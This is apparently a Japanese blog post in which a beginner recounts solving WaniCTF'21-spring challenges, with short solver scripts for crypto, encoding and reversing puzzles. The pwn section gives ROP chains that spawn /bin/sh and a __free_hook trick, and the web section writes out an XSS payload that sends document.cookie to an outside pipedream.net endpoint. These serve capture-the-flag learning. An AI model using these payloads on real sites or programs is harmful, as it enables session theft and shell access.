各所でpal4de
と名乗っているものです。
2021/4/30 - 5/1に開催された、大阪大学のCTFサークル「Wani Hackase」主催の初心者向けCTF、**WaniCTF'21-spring**に、CTFほぼ初参戦というつもりで臨みました。
その上Qiitaも初投稿という事態
writeupというよりかは感想になってます。
こんなんでいいのか?
最終結果
4197pt、400人ぐらい中の44位でした。
3日間割とまんべんなく解いたり調べものしてたりしてました。
初めましての人ばかりだったので。。。
Crypto
大学で暗号的な雰囲気に曝されていたおかげで解けた部分もある。
Simple conversion
整数化された文字列を復元する問題。
16進数の文字列に直してからバイト列にしてます。
もっといい書き方教えてください。
problem = 709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
problem_bytes = bytes.fromhex(f'{problem:x}')
print(problem_bytes.decode('utf-8'))
easy
隠されたパラメータA, Bを用いてe = (A * p + B) % 26
という形でズラして暗号化されているので復号する問題。
あんまeasyではなかった。
FLAG
とHLIM
のascii位置を手計算で比較してA, Bを求める。
あとはこのパラメータをもとに復号する。
(crypted - B) / A = plain mod 26
という感じ。
encrypted = r'HLIM{OCLSAQCZASPYFZASRILLCVMC}'
encrypted_byte = bytearray()
A = 5
A_inv = 21
B = 8
for c in encrypted:
if 'A' <= c <= 'Z':
c = ord(c) - ord('A')
c = ((c - B) * A_inv) % 26
c = chr(c + ord('A'))
print(c, end='')
Can't restore the flag?
ユーザー入力n
に対してFLAG % n
を教えてくれるので、そこからFLAGを手に入れる問題。
1-300まで返事をしてくれるそうなのでとりあえず全部保存する。
手計算をしてようやくX % n = r
を満たす数はlcm(1..n) * i + b
で表せそうであるとわかった。
ここでb
はn-1
についての条件を満たす中の、b % n = r
となる最小の数。
これを300までやって出たb
がFLAG。
import math
import pathlib
with open(pathlib.Path(__file__).parent / 'response.txt', 'r') as file:
a, b = 1, 0
for n, r_str in enumerate(file.readlines(), 1):
r = int(r_str)
i = 0
while (a * i + b) % n != r:
i += 1
b = a * i + b
a = math.lcm(a, n)
print(bytes.fromhex(f'{b:x}'))
extra
RSA暗号の過程でN = pq
とは別にM = 2p + q
が与えられるので、これをヒントに復号する問題。
暗号化に際してはM
は余計なのでこれとN
とをコネコネするんだろうなとは思った。
まさかただの2次方程式だったとは。。。。。
OUCS
準同型暗号「OUCS」で暗号化されたFLAGを解読する問題。
「準同型」を意味する英単語を知っておわった。
Forensics
経験の数がモノを言いそうな分野という印象があり、初めてながら苦手意識があった。
presentation
presentation.ppsx
が与えられる。
サムネイルがPowerPointだったので、zipとして解凍して1枚目のスライドのxmlを探し出した。
MixedUSB
MixedUSB.img
が与えられる。
手元のいらないUSBを用意してみたりもしたが、試しに走らせてみたstrings MixedUSB.img
で終わってしまった。
secure document
flag_20210428.zip
とpassword-generator
が与えられる。
password-generator
の中身がなんかAutoHotKeyっぽいなと思ったらビンゴ。
HotStringという機能が使われていたらしい。
日付部分をzipファイル自体の更新日時に変えて解凍。
たまたまAutoHotKeyユーザーだったからよかったけどMacだったら詰んでたかもな
illigal image
illegal_image.pcap
が与えられ、そこから画像を抽出する問題。
pcap
はWiresharkのファイルだった。
あまりに行が多く、遠慮した。
slow
slow.wav
が与えられる。
Audacityなど色々音声をいじれそうなものを入れ、テンポをいじってみたりスペクトルを見てみたりしたが解けず。
なにもわからない。
Misc
唯一完全回答できた部門。
明らかに難易度が全部Normal以下だったおかげである。
そのほかの王、pal4deです
— pal4de (@pal4de) May 2, 2021
どうぞよろしくhttps://t.co/bSPSz3czJt#wanictf pic.twitter.com/WUxL3cKYRr
binary
二進数の値を文字列に戻す問題。
import os
with open(os.path.dirname(__file__) +'/binary.csv') as file:
encrypted = file.read().replace('\n', '')
encrypted_bytes = bytes.fromhex(f'{int(encrypted, 2):x}')
print(encrypted_bytes.decode('utf-8'))
Automaton Lab.
Rule 30というオートマトンの予測を行う問題。
Wikipediaをみて簡単に実装して2つ目まで突破。
3つ目は素直な実装では間に合わないが、15bitで収まりきらない数値だったためループしてるだろと当たりを付け、ループが始まる点を見つけて解決。
gen = list()
gen.append(input('first gen?: '))
target = int(input('taget gen?: '))
next_bit_dict = {
'111': '0',
'110': '0',
'101': '0',
'100': '1',
'011': '1',
'010': '1',
'001': '1',
'000': '0',
}
def nth_char(s, n):
return s[n % len(s)]
print(0, gen[0])
while len(gen) - 1 < target:
next_gen = ''
for i in range(len(gen[0])):
current_pattern = nth_char(gen[-1], i - 1)
current_pattern += nth_char(gen[-1], i)
current_pattern += nth_char(gen[-1], i + 1)
next_gen += next_bit_dict[current_pattern]
gen.append(next_gen)
print(len(gen) - 1, next_gen)
if next_gen in gen[:-1]:
offset = gen.index(next_gen)
stop = len(gen) - 1
print('matched!')
print(f'1st: {offset}')
print(f'2nd: {stop}')
target_reduced = (target - offset) % (stop - offset)
print('final:', gen[offset + target_reduced])
exit()
Git Master
コミットログからFLAGを探し出す問題。
/var/www/
にリポジトリがある。
git
が無いのでインストールするところから。
FLAGっぽいファイルについてFLAG{you_
、_master}
みたいなのが出てきて、アンダースコア、ダブってない??と思いながら送信してみたものの不正解。
master?ブランチのことか?と思ってブランチを見てみるとtemporary
ブランチが出てきた。
you_
と_master
の間にも一つコミットがあったので解決。
結果オーライ。
ASK
ASK (Amplitude Shift Keying) を復号する問題。
下のManchesterと同じように周期を取ってその分だけ0と1を交互に繰り返し。
うまいことデコードできてないかもしれないけどいいや
import os
import itertools
with open(os.path.dirname(__file__) +'/ask.csv') as file:
encoded = file.read().replace('\n', '')
encoded_grouped = itertools.groupby(encoded)
length_list = [len(list(values)) for _, values in encoded_grouped]
period = min(length_list)
print(length_list)
decoded_bin = ''
bit = int(encoded[0])
for length in length_list:
if length <= period * 8:
decoded_bin += str(bit) * (length // period)
bit = 1 - bit
decoded_bytes = bytes.fromhex(f'{int(decoded_bin, 2):x}')
print(decoded_bytes)
Manchester
マンチェスター符号を復号する問題。
前問同様、0とか1が連続しすぎているので長さを測って周期を得る。
1→01
なのか0→01
なのかわからなかったので両方試し、出力させてそれっぽいのが出てきたものを採用。
FLAGより前にある長ーいデータは何だったんだろう
import os
import itertools
with open(os.path.dirname(__file__) +'/manchester.csv') as file:
encoded = file.read().replace('\n', '')
encoded_grouped = itertools.groupby(encoded)
period = float('inf')
for _, group in encoded_grouped:
period = min(period, len(list(group)))
encoded_reduced = encoded[::period]
encoded_reduced_pairs = zip(encoded_reduced[::2], encoded_reduced[1::2])
decoded = ''
for first, second in encoded_reduced_pairs:
pattern = first + second
if pattern == '01':
decoded += '0'
elif pattern == '10':
decoded += '1'
print(bytes.fromhex(f'{int(decoded, 2):x}'))
Pwn
もっとも縁遠い部門だったかもしれない。
相当簡単に作ってもらえたんだろうなという印象を受ける。
解いていくうちにメモリ脆弱性を突いていく気持ちよさがわかり始める。
メモリ脆弱性を突くの、気持ちいい。
01 netcat
nc
コマンドを使ってみる問題。
cat
03 rop machine easy
system("/bin/sh")
を呼ぶ問題。
この時点ではよくわかっていない。
色々調べた結果、よくわからないうちに解けてしまった。
rop_arena
+--------------------+
| pop rdi; ret | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| system |
+--------------------+
04 rop machine normal
ROPでexecve("/bin/sh", 0, 0)
を呼ぶ問題。
よくわからん 2
-
rdi
が第一引数 -
rsi
が第二引数 -
rdx
が第三引数 -
rax
がsyscall番号
に対応しているらしい。
ターゲットのレジスタをpop
した直後に値を配置することで代入していけるのかなあ、程度の理解。
rop_arena
+--------------------+
| pop rdi; ret | <- rop start
+--------------------+
| 0x0000000000404070 | "/bin/sh"へのアドレス
+--------------------+
| pop rsi; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret |
+--------------------+
02 free hook
脆弱性のあるメモアプリを用いてシェルを起動する問題。
free_hook
を使おうとのヒントがある。
free()
時に呼び出される関数へのポインタとして__free_hook
があり、今回は既にこれがsystem
を指しているので引数に"/bin/sh"
が来るようにしたら良いっぽい。
- n番目のメモに
/bin/sh
を書き込む。 - n番目のメモを削除する。
-
free("/bin/sh")
=system("/bin/sh")
となりhappy
05 rop machine hard
ROPで/bin/sh
を呼ぶ問題。
一部のgadgetが選択肢として与えられていた今までとは異なり、自分でアドレスを調べてくる必要があるが、流れは基本的に04 rop machine normalと同じ。
ROPgadget
というツールでpop rdi ; ret
などへのアドレスを調べて並べていく。
pop rsi ; pop r15 ; ret
では2つpop
しているので2回0x0
を入れてみた。
"/bin/sh"
へのアドレスはgdb pwn05
してprint &binsh
することで手に入る。
rop_arena
+--------------------+
| 0x000000000040128f | pop rdi ; ret
+--------------------+
| 0x0000000000404078 | "/bin/sh"
+--------------------+
| 0x0000000000401611 | pop rsi ; pop r15 ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x000000000040129c | pop rdx ; ret
+--------------------+
| 0x0000000000000000 | 0x0
+--------------------+
| 0x00000000004012a9 | pop rax ; ret
+--------------------+
| 0x000000000000003b | 0x3b
+--------------------+
| 0x00000000004012b6 | syscall
+--------------------+
06 SuperROP
案外今までのROPも突破できて楽しくなってきたので挑戦してみたものの、だいすきだったROPmachineがいなくなり急に詰む。
07 Tower of Hanoi
ハノイの塔を解く問題?
解けていない。
Very hardと書いてある赤いラベルがあったので問題文はあまり気にしていない
08 Gacha Breaker
悪徳ガチャサービスベンダーからFLAGを盗む問題?
解けていない。
問題文はあまり気にしていない
Reversing
VSCodeのデバッガーは使ったことあったものの、コマンドラインのgdbは初めてだったので勉強になった。Ghidraが便利というのも実感。
テックニュースでたまに見るリバースエンジニアリングを体感しているようで面白かった。
secret
stringsでsecret
を見てみたら、wani_is_the_coolest_animals_in_the_world!
とそれっぽいのがあったので、それがsecret keyなんだろうな...と。
$ chmod u+x ./secret
$ ./secret
▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄
█ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐
▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █
▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █
█▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀
▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █
▐ ▐ ▐ ▐
Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
cのソースコードを紛失しmain.s
とlibprint.so
のみがある、という状態からプログラムを実行する問題。
ムチャクチャ苦労した
- .sファイルとは何か?
- アセンブリ言語だ
-
as
コマンドでアセンブルできるらしい -
libprint.so
をリンクしないといけない - gccでリンク?
- おまじない(
LD_LIBRARY_PATH=.
)を付与して実行
as main.s -o main.o
gcc -o main main.o -I./ -L./ -lprint
LD_LIBRARY_PATH=. ./main
timer
非常に長いカウントダウンを行うプログラムからFLAGを得る問題。
Ghidraでプログラム解析結果を見ながら、gdb
で変数を書き換えられないか頑張る。
結果的には変数を書き換える必要はなかった。timer
に入ったら直ちに帰ればよい。
> gdb timer
(gdb) break timer
:
(gdb) run
:
(gdb) return (int) 0
:
(gdb) continue
licence
非常に強力なライセンス確認処理が施されたプログラムのためにライセンスファイルを探す問題。
解けていない。
非常に強力な
のフレーズを見てあきらめた。
Web
ソフトウェア開発を始めたキッカケがWebだったので自信をもって取り組んだものの、パッとしない結果となった。
fake
ウェブサイトからFLAGを探す問題。
ソースコードを見たらdisplay: none
されている要素があったので解決。
Wani Request 1
被害者の秘密のページを探す問題。
- pipedream作る。
- 発行されたURLを送る。
- steps.nodejs > code > steps.nodejs.$return_value > body > headers > refferer にawsのURLがあったのでアクセス。
exception
ウェブアプリの脆弱性を探す問題。
サーバー側のコードを見て、文字列に結合しようとしていることから送られたデータに配列などが来たらダメそうだと察する。
送信ボタンのイベントハンドラを見て直接[]
を放り込みfetch
、開発者ツールのNetworkから返答内容を見てゲット。
Wani Request 2
2通りのXSSからFLAGを集める。
page1
パラメータがそのままDOMに取り込まれるタイプのXSS。
<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">
など。
scriptタグはVue的なものにはじかれてしまうのか、うまくいかなかった。
page2
URLを踏むことで発動するタイプのXSS。
page1のを活用しちゃお~と、/page1?wani=<img src="hoge" onerror="fetch(`https://ena68y8fy8vnrfs.m.pipedream.net/?cookie=${document.cookie}`)">
を試してみるが、うまくいかない。
document.cookie
が読みだせないのか、クエリが空になっている。
HttpOnly属性というのがあるらしい。これがあやしい?
関係なかったです。勘弁してください。
TRACEメソッドもうまくいかなかった。
watch animal
ターゲットユーザーのパスワードがFLAGになっているのでそれを探す問題。
コンテナを立ち上げて、慣れないSQLコマンドを駆使してパスワードを掘り起こしたらFAKE
をつかまされてしまったし、そもそも1_InitUsers.sql
に直接書いてある。
PHPを読んでみたりしたが、よくわからず。
CloudFront Basic Auth
AWS Cloudformation template で構成できるウェブアプリにはBasic認証が導入されているらしい。
ながーいyamlを一通り見てあきらめた。
相当適当に書いていますが、楽しんでいただければ幸いです。
知らないことだらけでムチャクチャ楽しかったので、ビビらず挑戦してみよう
以上